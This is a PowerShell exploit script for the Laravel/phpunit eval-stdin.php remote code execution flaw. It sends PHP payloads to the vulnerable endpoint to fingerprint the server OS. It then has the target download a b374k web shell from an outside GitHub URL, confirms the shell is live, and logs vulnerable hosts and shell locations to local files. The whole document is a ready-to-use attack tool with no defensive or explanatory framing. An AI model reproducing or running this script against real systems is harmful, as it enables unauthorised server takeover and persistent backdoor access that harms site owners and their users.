Laravel phpunit Remote Code Execution RCE

# Clear the screen based on the OS
if ($env:OS -like "Windows*") {
    Clear-Host
} else {
    Write-Host $("\033c") # This is an approximation; PowerShell on non-Windows may vary
}

# Function to check and exploit the RCE vulnerability
function Invoke-RCE {
    param (
        [string]$Url
    )

    $cekosPayload = '<?php echo php_uname("a"); ?>'
    $upshellPayload = '<?php system("wget https://raw.githubusercontent.com/The404Hacking/b374k-mini/master/b374k.php -O unit.php"); ?>'

    try {
        $cek = Invoke-RestMethod -Uri "$Url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" -Method Post -Body $cekosPayload -TimeoutSec 50
        if ($cek -match "Linux") {
            Write-Host "[os] $cek"
            Add-Content -Path "phpunitvuln.txt" -Value ("$cek`n$Url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`n")
            Invoke-RestMethod -Uri "$Url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" -Method Post -Body $upshellPayload
            $cekshell = Invoke-RestMethod -Uri "$Url/vendor/phpunit/phpunit/src/Util/PHP/unit.php?ngacengan_su"

            if ($cekshell -match "IDBTE4M") {
                Write-Host "[Shell Uploaded] $Url/vendor/phpunit/phpunit/src/Util/PHP/unit.php?ngacengan_su"
                Add-Content -Path "shell_phpunit.txt" -Value ("$cek`n$Url/vendor/phpunit/phpunit/src/Util/PHP/unit.php?ngacengan_su`n")
            } else {
                Write-Host "[Shell not Uploaded]: $cekshell"
            }
        } else {
            Write-Host "[Not Vuln]: $Url"
        }
    } catch {
        Write-Host "Error contacting $Url"
    }
}

# Example usage:
Invoke-RCE -Url "http://example.com"